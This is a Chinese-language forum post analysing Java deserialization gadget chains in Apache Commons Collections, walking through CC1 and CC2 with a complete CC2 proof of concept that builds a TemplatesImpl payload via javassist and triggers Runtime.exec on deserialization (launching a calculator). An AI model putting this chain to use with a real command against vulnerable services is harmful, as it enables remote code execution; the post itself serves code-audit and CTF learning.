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[分享]java反序列化之Commons Collections分析（一）
发表于: 2021-11-4 13:49 6003

[分享]java反序列化之Commons Collections分析（一）

雷石实验室 活跃值
2021-11-4 13:49
6003

java反序列化之Commons Collections分析（一）

前言

在学习java反序列化的过程中，Commons Collections几乎是反序列化学习中无法绕过的一关。也是各大ctf和awd的常见考点，

 

作为java代码审计的重要一环，我们今天就来解析一下Commons Collections利用链。

版本问题

为了简述，以下commons-collections简称为CC，CC2链中使用的是commons-collections-4.0版本，但是CC1在commons-collections-4.0版本中其实能使用，但是commons-collections-4.0版本删除了lazyMap的decode方法，这时候我们可以使用lazyMap方法来代替。但是这里产生了一个疑问，为什么CC2链中使用commons-collections-4.03.2.1-3.1版本不能去使用，使用的是commons-collections-4.04.0的版本？在中间查阅了一些资料，发现在3.1-3.2.1版本中TransformingComparator并没有去实现Serializable接口,也就是说这是不可以被序列化的。所以在利用链上就不能使用他去构造。

 

首先我们贴一下，CC的利用链版本，下面是maven依赖

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<dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.0</version>
</dependency>

注意 因为在3.1-3.2.1版本中TransformingComparator类没有实现Serializable接口，不能够被序列化，于是就不能在使用链上构造了。

CommonsCollections1

环境：JDK1.7、commons-collections-3.1-3.2.1

 

漏洞点存在于

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commons-collections-3.1-src.jar:
/org/apache/commons/collections/functors/InvokerTransformer.java

在 InvokerTransformer 类的transform方法中使用了反射，且反射参数均可控，所以我们可以利用这处代码调用任意类的任意方法

 

 

接下来我们需要利用反射调用恶意方法比如命令执行：Runtime.getRuntime().exec

 

但是得想办法构造出反射调用，类似下面的方式：

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import java.io.IOException;
public class exploit {
    public static void main(String [] args) throws IOException{
        // 普通命令执行
        Runtime.getRuntime().exec(new String [] { "deepin-calculator" });
 
        // 通过反射执行命令
        try{
            Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(
                    Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")),
                    new String [] { "deepin-calculator" }
            );
        } catch(Exception e) {
            e.printStackTrace();
        }
    }
}

后面的流程就是需要找到能循环调用 transform 方法的地方来构造反射链

 

commons-collections-3.1.jar!/org/apache/commons/collections/functors/ChainedTransformer.class中有合适的transform方法，对 iTransformers 数组进行了循环遍历，并调用其元素的 transform 方法

 

 

所以我们可以构造上文提到的反射调用链，将 ChainedTransformer 的 Transformer 属性按照如下构造：

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Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
        new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
        new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "open /System/Applications/Calculator.app" })
};

commons-collections2

之前写过一篇文章https://zhuanlan.zhihu.com/p/269168330，讲解了URLDNS调试分析这种方式，这种虽然是简单的序列化利用方式，但是麻雀虽小，五脏俱全，正常的反序列化流程都是这么走的。

 

不过说到底CommonCollections虽说确实相比于URLDNS要复杂一些。

 

我尽量简化，贴上现在最新的poc

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package com.evalshell.springboot.handler;
 
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
 
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
 
public class CommonCollections1 {
    public static void main(String[] args) throws Exception {
        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
 
        ClassPool classPool = ClassPool.getDefault();
        classPool.appendClassPath(AbstractTranslet);
        CtClass payload = classPool.makeClass("CommonsCollections1123");
        payload.setSuperclass(classPool.get(AbstractTranslet));
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");");
 
        byte[] bytes = payload.toBytecode();
 
        Object templatesImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
        Field field = templatesImpl.getClass().getDeclaredField("_bytecodes");
        field.setAccessible(true);
        field.set(templatesImpl,new byte[][]{bytes});
 
        Field name = templatesImpl.getClass().getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templatesImpl,"test");
 
        InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
        TransformingComparator comparator = new TransformingComparator(invokerTransformer);
        PriorityQueue<Integer> queue = new PriorityQueue<Integer>(2);
        queue.add(1);
        queue.add(1);
 
        Field field2=queue.getClass().getDeclaredField("comparator");
        field2.setAccessible(true);
        field2.set(queue,comparator);
 
        Field field3=queue.getClass().getDeclaredField("queue");
        field3.setAccessible(true);
        field3.set(queue,new Object[]{templatesImpl,templatesImpl});
 
        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc2.ser"));
        outputStream.writeObject(queue);
        outputStream.close();
 
        ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("cc2.ser"));
        inputStream.readObject();
        inputStream.close();
    }
}

运行的结果如下：

 

 

首先我贴上利用链：

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ObjectInputStream.readObject()
->PriorityQueue.readObject()
->PriorityQueue.heapify
->PriorityQueue.siftDown
->PriorityQueue.siftDownUsingComparator
->TransformingComparator.compare()
->InvokerTransformer.transform()
->TemplatesImpl.getTransletInstance
->cc2.newInstance()
->Runtime.exec()

这个过程涉及到下面几个接口和类:

TransformedMap

TransformedMap用于对Java标准数据结构Map做一个修饰，被修饰过的Map在添加新的元素时，将可 以执行一个回调。我们通过下面这行代码对innerMap进行修饰，传出的outerMap即是修饰后的Map:

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MapouterMap=TransformedMap.decorate(innerMap,keyTransformer, valueTransformer);

TemplatesImpl

这里其实是javassist部分的知识，简单的来说就是动态的新创建了一个CommonsCollections1234这个类中执行的是java.lang.Runtime.getRuntime().exec(\"open //System/Applications/Calculator.app\");这一段的代码，之后通过byte[] bytes = payload.toBytecode();转换成二进制数据。

 

TemplatesImpl介绍一下这个类的内容，在CC2的链中getTransletInstance的方法是其中的一环，首先看到构造方法是protected的并且我也没有发现什么可以能够实现它的方法。所以还是通过反射的方式去处理。

 

 

其中是可以看到调用了defineTransletClasses() 方法的。

 

 

于是现在就需要找到什么地方调用了getTransletInstance，就会找到templatesImpl的newTransformer方法是调用的

 

 

现在的问题是如何调用 newTransformer，这里我们POC给出的方案是通过InvokerTransformer类来反射调用，于是入口就变成了找到transform方法，有点CC1的味道了。

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InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
TransformingComparator comparator = new TransformingComparator(invokerTransformer);

最后来看POC的最后一段代码

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Field field3=queue.getClass().getDeclaredField("queue");
field3.setAccessible(true);
field3.set(queue,new Object[]{templatesImpl,templatesImpl});

设置queue为Object[]数组，内容为两个存在恶意代码的TemplatesImpl实例实例化对象。调用heapify方法的时候就会进行传参进去。到此为止走到了readObject方法之后就都走完了，这一条反序列化链也OK了.

 

​

参考资料

https://clq0.top/commons_collections_analysis

 

https://www.freebuf.com/articles/web/291406.html


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